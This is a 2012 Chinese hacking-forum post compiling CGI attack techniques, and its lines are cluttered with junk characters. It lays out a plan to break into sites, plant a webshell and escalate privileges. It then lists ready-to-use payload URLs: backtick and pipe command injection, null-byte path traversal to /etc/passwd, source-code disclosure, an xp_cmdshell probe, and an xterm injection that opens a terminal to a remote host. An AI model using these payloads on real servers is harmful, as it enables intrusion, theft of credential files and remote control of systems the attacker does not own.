找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3081|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  : q" s, _# K; _) F( f, G. L1 {0 ^
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
' R- s: T- T1 [感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
7 _2 z8 ?, p( c% J2 U9 _注“  + l7 X' [( a  i4 K& ~
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
4 g1 [# j2 d! S( ?+ F) ]以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  . c+ J% r9 O2 g" T4 N" r8 k

) {7 r/ G, U% zhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
4 F0 P! m7 V3 B: L+ Xhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
& |: Z& i) e/ G, D9 a- g% z$ Shttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  ( Z; B( d' g! b* U2 e, R* q
http://target.com/cgi-bin/home/news/sub.pl?`id`  1 l* Z* g$ d# G2 Q; H
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  0 Z+ i6 z, P5 u3 }+ T5 m
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
, }( s; f" M% x+ s( Q& j3 u  ?, F, }9 f# m8 q% ], ?
http://target.com/test.pl;ls|  ! P, N6 t* S8 q" f
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  / k! V; E  u( o% P+ O
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
$ z) m; T4 D! N& s0 Phttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  , W$ H! H9 z1 W7 p. l3 ~' z
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
5 C+ a: e5 [; B& P0 d4 `http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
; c. d5 @$ d2 c! {! T, E5 U2 w6 Q" U  t, f
http://target.com/test.pl?&........ /../../etc/passwd  * A- Q5 a  u5 W! Q  g. b/ k: c9 K. w

# l; A! a; E8 [: hhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
+ D" o& u+ L: n: }+ _http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  . _7 ]  I7 |7 @' }/ i( Y0 k0 I4 e# g
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00    F2 i9 v2 n2 V5 v. f

% Q: Q& t6 e1 d  phttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
; u: d( H# X" v( y! V' hhttp://www.target.org/show.php?f ... ng/admin/global.php  
, W: b- n& D& l& e" D' ~/ m4 z. {/ F: A( c/ Z8 ]
emm和ps的一句话. f# x7 W, @7 r. T6 h( n

: u8 r2 v% f/ ]' Ihttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
. @$ r3 i2 E' v/ g$ X
; r4 o1 z  g5 t' G( B; _>bbb%20|  ; Y! x( B# T# h3 h
) I& D3 ^7 y- i/ p, z; W0 n, n
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  / b$ Y  B$ _( d. C7 j( ]- Y
1 n" @9 x; Z  z1 c% P6 ]
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
( {* m1 [7 m( p/ z  W9 \7 Phttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  3 D! @* w3 c2 b

- b7 m8 i9 F7 g0 }8 @相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
7 `% O3 l$ U: X$ Ihttp://target.com/index.html#cmd.exe  
$ i- ?3 o6 J9 ]& l2 \, v% ?5 L1 whttp://target.com/index.html?dummyparam=xp_cmdshell  $ d3 R8 w7 @: i/ G! X
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
. a. n, d) `/ \- o8 Q3 A$ C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表